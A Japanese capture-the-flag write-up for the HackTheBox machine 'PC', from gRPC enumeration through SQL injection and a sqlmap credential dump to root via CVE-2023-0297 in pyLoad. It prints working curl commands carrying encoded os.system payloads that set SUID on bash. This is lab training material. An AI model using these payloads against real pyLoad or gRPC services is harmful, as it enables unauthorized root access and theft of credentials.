今回は、HackTheBoxのEasyマシン「PC」のWriteUpです!
なかなか珍しい名前ですが、どのようなボックスなのか楽しみです!
グラフを見た感じでは、普通にEasyマシンっぽいですね。攻略目指して頑張りましょう!
HackTheBoxってなに?という方はこちらの記事を見てみてください。一緒にハッキングしましょう!
また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!
PC
侵入
それでは攻略を開始します。
・ポートスキャン
┌──(kali㉿kali)-[~/Desktop/PC]
└─$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.11.214 -oN nmap.log
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 91bf44edea1e3224301f532cea71e5ef (RSA)
| 256 8486a6e204abdff71d456ccf395809de (ECDSA)
|_ 256 1aa89572515e8e3cf180f542fd0a281c (ED25519)
50051/tcp open unknown syn-ack ttl 63
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
22番と50051番を確認しました。
50051番と言えば、gRPCのデフォルトポートです。
それでは、evansを実行していきます。
┌──(kali㉿kali)-[~/Desktop/PC]
└─$ ./evans --host 10.10.11.214 -p 50051 -r
______
| ____|
| |__ __ __ __ _ _ __ ___
| __| \ \ / / / _. | | '_ \ / __|
| |____ \ V / | (_| | | | | | \__ \
|______| \_/ \__,_| |_| |_| |___/'
more expressive universal gRPC client
SimpleApp@10.10.11.214:50051>
接続に成功しました!
まずは、どのようなサービスがあるか見てみましょう。
SimpleApp@10.10.11.214:50051> show service
+-----------+--------------+---------------------+----------------------+
| SERVICE | RPC | REQUEST TYPE | RESPONSE TYPE |
+-----------+--------------+---------------------+----------------------+
| SimpleApp | LoginUser | LoginUserRequest | LoginUserResponse |
| SimpleApp | RegisterUser | RegisterUserRequest | RegisterUserResponse |
| SimpleApp | getInfo | getInfoRequest | getInfoResponse |
+-----------+--------------+---------------------+----------------------+
どうやら、サービスはSimpleAppしかないようです。
SimpleAppのRPCとして、LoginとRegister、getInfoがありますね。これらを利用して情報の列挙を進めていきます。
まずは、試しにユーザを登録してみましょう。call [RPC]で実行できます。
SimpleApp@10.10.11.214:50051> call RegisterUser
username (TYPE_STRING) => test
password (TYPE_STRING) => password
{
"message": "Account created for user test!"
}
試しにtestユーザを作成しました。出力からもうまく作成できたことが分かります。
次に、登録した情報でログインしてみます。
SimpleApp@10.10.11.214:50051> call LoginUser
username (TYPE_STRING) => test
password (TYPE_STRING) => password
{
"message": "Your id is 523."
}
ログインすると、idが出力されました。523、、連番だとするとかなりのユーザがいますね。
最後に、getInfoを試してみます。
SimpleApp@10.10.11.214:50051> call getInfo
id (TYPE_STRING) => 523
{
"message": "Authorization Error.Missing 'token' header"
}
あれ、tokenヘッダーがないというエラーメッセージが出力されました。
ヘッダーを見てみます。
SimpleApp@10.10.11.214:50051> show header
+-------------+-------+
| KEY | VAL |
+-------------+-------+
| grpc-client | evans |
+-------------+-------+
設定していないので当たり前のようにtokenヘッダーはありませんね。
では、tokenヘッダーをつけてリクエストを送り直したいのですが、どのような値をセットすればいいのか分かりません。
多くの場合、ログインした時にトークンが発行されますが、idが出力されただけで、tokenのようなものは見当たりませんでした。
ここで一度手が止まってしまいましたが、evansについて調べていると、--enrichという詳細な情報を出力するオプションがあることを知りました。
オプションを指定して、再度ログインしてみます。
SimpleApp@10.10.11.214:50051> call --enrich LoginUser
username (TYPE_STRING) => test
password (TYPE_STRING) => password
content-type: application/grpc
grpc-accept-encoding: identity, deflate, gzip
{
"message": "Your id is 352."
}
token: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidGVzdCIsImV4cCI6MTY4NDkzOTU5OH0.51RYXWvVR-ndNsCqoqOoPW8-gq_kt06BMO6lZjg6-WA'
code: OK
number: 0
message: ""
JWTトークンが出力されました!idは毎回変わるようですね。
トークンが出力されたので、ヘッダーにセットしていきます。
SimpleApp@10.10.11.214:50051> header token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidGVzdCIsImV4cCI6MTY4NDkzOTU5OH0.51RYXWvVR-ndNsCqoqOoPW8-gq_kt06BMO6lZjg6-WA
セットできたので、getInfoをもう一度実行してみましょう。
SimpleApp@10.10.11.214:50051> call --enrich getInfo
id (TYPE_STRING) => 352
content-type: application/grpc
grpc-accept-encoding: identity, deflate, gzip
{
"message": "Will update soon."
}
code: OK
number: 0
message: ""
Will update soonと出力が返ってきました。。
なにか意味があるのかなと思いましたが、特になさそうです。
SQLインジェクション
気を取り直して、getInfoをもう少しいじってみます。
SQLを使用していそうな雰囲気があるので、SQLインジェクションがないか試してみます。
SimpleApp@10.10.11.214:50051> call --enrich getInfo
id (TYPE_STRING) => 352'
'
content-type: application/grpc
code: Unknown
number: 2
message: "Unexpected <class 'TypeError'>: bad argument type for built-in operation"
command call: rpc error: code = Unknown desc = Unexpected <class 'TypeError'>: bad argument type for built-in operation
シングルクォーテーションを追加してみましたが、TypeErrorが出るだけで特にインジェクションが発火しそうではないですね。
では、UNIONはどうでしょうか。
SimpleApp@10.10.11.214:50051> call --enrich getInfo
id (TYPE_STRING) => 352 UNION SELECT 1
content-type: application/grpc
grpc-accept-encoding: identity, deflate, gzip
{
"message": "1"
}
code: OK
number: 0
message: ""
発火しました!SQLインジェクションに脆弱でしたね。
これで、sqlmapを使用して認証情報の取得ができそうですが、問題はどうやってsqlmapを実行させるかです。
今回はリクエストを取得して、sqlmapを実行させたいと思います。BrupSuiteでリクエストを取得するために、grpcuiを使用します。
GitHubからダウンロードすることが可能です。
ダウンロードができたら、10.10.11.214:50051を指定し、実行します。
┌──(root💀kali)-[~/go/bin]
└─# ./grpcui -plaintext 10.10.11.214:50051
gRPC Web UI available at http://127.0.0.1:34631/
[2214:2214:0527/131713.754625:ERROR:zygote_host_impl_linux.cc(100)] Running as root without --no-sandbox is not supported. See https://crbug.com/638180.
実行がうまくいったら、出力されたURLにアクセスします。
これでWeb上でリクエストを送ることができるようになりました。
いつものようにBurpSuiteにリクエストが送られるようにFoxyProxyなどを有効にしてから、先ほどのSQLインジェクションを発火させます。
発火させたらBurpSuiteでリクエストを確認し、その全文をコピーしてreqファイルを作成します。
┌──(kali㉿kali)-[~/Desktop/PC]
└─$ cat sql.req
POST /invoke/SimpleApp.getInfo HTTP/1.1
Host: 127.0.0.1:33925
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-grpcui-csrf-token: o8_Dg7zDE_fnH3WEuOUmc7gFFTFLK1_JKKxwchrRRHA
X-Requested-With: XMLHttpRequest
Content-Length: 211
Origin: http://127.0.0.1:33925
Connection: close
Referer: http://127.0.0.1:33925/
Cookie: _grpcui_csrf_token=o8_Dg7zDE_fnH3WEuOUmc7gFFTFLK1_JKKxwchrRRHA
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
{"timeout_seconds":10,"metadata":[{"name":"token","value":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidGVzdCIsImV4cCI6MTY4NTE3MTY0NH0.PbNnAc-iZnescjutabddbLHHp-0QckRvvoPWkRqUIuI"}],"data":[{"id":"1*"}]}
idで指定した数字の後に、アスタリスクを入力している点に注意してください。
ファイルが作成できたら、sqlmapを実行していきます。
┌──(kali㉿kali)-[~/Desktop/PC]
└─$ sqlmap -r sql.req --batch --dump
・・・
[13:32:36] [INFO] fetching entries for table 'accounts'
Database: <current>
Table: accounts
[2 entries]
+------------------------+----------+
| password | username |
+------------------------+----------+
| admin | admin |
| HereIsYourPassWord1431 | sau |
+------------------------+----------+
[13:32:36] [INFO] table 'SQLite_masterdb.accounts' dumped to CSV file '/home/kali/.local/share/sqlmap/output/127.0.0.1/dump/SQLite_masterdb/accounts.csv'
・・・
sauユーザの認証情報が出力されました!
sauとしてのシェル
それでは、SSH接続できるか試してみましょう。
┌──(kali㉿kali)-[~/Desktop/PC]
└─$ ssh sau@10.10.11.214
sau@10.10.11.214 password:
sau@pc:~$ whoami
sau
侵入成功です!
sau@pc:~$ ls -l
total 4
-rw-r----- 1 root sau 33 May 27 04:09 user.txt
ユーザフラグも確認できました!
権限昇格
このままの流れで権限昇格も終わらせてしまいましょう!
まずは、sudoが使えるか見てみましょう。
sau@pc:~$ sudo -l
[sudo] password for sau:
Sorry, user sau may not run sudo on localhost.
どうやらsudoは使用できないようです。
では、次はサーバ上で実行されているシステムを確認してみましょう。
sau@pc:~$ netstat -tulpn | grep LISTEN
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN 995/systemd-resolve
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1088/sshd: /usr/sbi
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN 1051/python3
tcp 0 0 0.0.0.0:9666 0.0.0.0:* LISTEN 1051/python3
tcp6 0 0 :::22 :::* LISTEN 1088/sshd: /usr/sbi
tcp6 0 0 :::50051 :::* LISTEN 1046/python3
ローカルホスト上で8000番が動いていることが確認できました。
CVE-2023-0297
では、8000番に対してcurlを実行してみましょう。
sau@pc:~$ curl http://localhost:8000
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/login?next=http%3A%2F%2Flocalhost%3A8000%2F">/login?next=http%3A%2F%2Flocalhost%3A8000%2F</a>. If not, click the link.
HTMLが返ってきました。Webサーバが動いているので、ポートフォワーディングを行い、アクセスしてみましょう。
┌──(kali㉿kali)-[~/Desktop/PC]
└─$ ssh -L 8082:localhost:8000 sau@10.10.11.214
SSH接続ができたら、Webで指定したポート(今回は8082番)にアクセスします。
ログインページが表示されました。
画面からして、どうやらpyLoadが使用されているようです。使われているサービスがわかったら脆弱性がないか検索するのは基本として大切なことです。Googleで調べてみると、気になる記事を発見しました。
記事によると、pyLoadにはRCEの脆弱性があるようです。
脆弱性を発火させることのできるコマンドも載っているのでそのまま実行してみます。
sau@pc:~$ curl -i -s -k -X $'POST' \
-H $'Host: 127.0.0.1:8000' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 184' \
--data-binary $'package=xxx&crypted=AAAA&jk=%70%79%69%6d%70%6f%72%74%20%6f%73%3b%6f%73%2e%73%79%73%74%65%6d%28%22%74%6f%75%63%68%20%2f%74%6d%70%2f%70%77%6e%64%22%29;f=function%20f2(){};&passwords=aaaa' \
$'http://127.0.0.1:8000/flash/addcrypted2'
HTTP/1.1 500 INTERNAL SERVER ERROR
Content-Type: text/html; charset=utf-8
Content-Length: 21
Access-Control-Max-Age: 1800
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: OPTIONS, GET, POST
Vary: Accept-Encoding
Date: Sat, 27 May 2023 06:15:16 GMT
Server: Cheroot/8.6.0
500番が返ってきていますが、RCEが発火していればtmpディレクトリにpwndというファイルが作成されているはずです。みてみましょう。
sau@pc:/tmp$ ls -l
total 60
-rw-r--r-- 1 root root 0 May 27 06:06 pwnd
drwxr-xr-x 4 root root 4096 May 27 04:09 pyLoad
drwx------ 3 root root 4096 May 27 04:09 snap-private-tmp
drwx------ 3 root root 4096 May 27 04:09 systemd-private-e5fb4c3761d54e039eb52989f5e90c9c-ModemManager.service-FZZlTi
drwx------ 3 root root 4096 May 27 04:09 systemd-private-e5fb4c3761d54e039eb52989f5e90c9c-systemd-logind.service-9mPI3f
drwx------ 3 root root 4096 May 27 04:09 systemd-private-e5fb4c3761d54e039eb52989f5e90c9c-systemd-resolved.service-mGxZsf
drwx------ 2 root root 4096 May 27 04:09 tmpo5qx4083
drwx------ 2 sau sau 4096 May 27 04:43 tmux-1001
drwx------ 2 root root 4096 May 27 04:09 vmware-root_741-4248811580
pwndがroot権限で作成されています!
これにより、任意のコマンドがroot権限で実行できることが分かります。
いつものように、bashにSUIDをセットする方法で権限昇格を狙っていきましょう。
rootとしてのシェル
この脆弱性では、実行したいコマンドをエンコードする必要があるので、エンコードしていきます。
実行するコマンドは「chmod +s /bin/bash」です。
エンコードできたので先ほどのコマンドを参考にしてリクエストを送信します。
sau@pc:/tmp$ curl -i -s -k -X $'POST' \
-H $'Host: 127.0.0.1:8000' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 184' \
--data-binary $'package=xxx&crypted=AAAA&jk=%70%79%69%6d%70%6f%72%74%20%6f%73%3b%6f%73%2e%73%79%73%74%65%6d%28%22%63%68%6d%6f%64%20%2b%73%20%2f%62%69%6e%2f%62%61%73%68%22%29;f=function%20f2(){};&passwords=aaaa' \
$'http://127.0.0.1:8000/flash/addcrypted2'
HTTP/1.1 500 INTERNAL SERVER ERROR
Content-Type: text/html; charset=utf-8
Content-Length: 21
Access-Control-Max-Age: 1800
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: OPTIONS, GET, POST
Vary: Accept-Encoding
Date: Sat, 27 May 2023 06:22:08 GMT
Server: Cheroot/8.6.0
Could not decrypt key
先程と同じように500番が返ってきています。
では、bashにSUIDが設定されているかみてみましょう。
sau@pc:/tmp$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1183448 Apr 18 2022 /bin/bash
うまく実行できています!権限昇格しましょう!
sau@pc:/tmp$ bash -p
bash-5.0# whoami
root
ルートになれました〜〜!
bash-5.0# ls -l /root
total 36
drwxr-xr-x 3 root root 4096 Apr 27 13:15 Downloads
-rw-r----- 1 root root 33 May 27 04:09 root.txt
drwx------ 3 root root 4096 Jan 11 16:56 snap
-rw-r--r-- 1 root root 24576 Jan 11 17:57 sqlite.db.bak
フラグもゲットして、完全攻略完了です!お疲れ様でした!
攻略を終えて
今回のマシンは evans や grpcui のような普段あまり使用しないツールを用いて攻略しました。使い慣れないツールを使用し攻略することは脆弱性の発火の容易さに関わらず難しいことですが、今回はポートが50051番しか開いていなかったので方向性が分かりやすくツールへの導入に対する障害も少なかったのではないかと思います。
HackTheBoxだけをやっていると、使用するツールや攻撃するポートに偏りが出てしまいますが、実際の診断では見たこともないポートが大量に開いていたり、使えるツールが限られたりする場面も多いです。なので、可能な限り手札を増やすことが重要です。そういった意味では、今回のマシンは evans や grpcui を実践感覚で試すことのできるかなり貴重なマシンだと思います!
権限昇格も比較的分かりやすく、ハッキングに慣れてきたぐらいの初心者の方にはちょうどいい難易度感ではないかと思いました。楽しかったです!
今後もHackTheBoxのWriteUpを公開していくので、見ていただけると嬉しいです!
最後まで閲覧していただき、ありがとうございました~!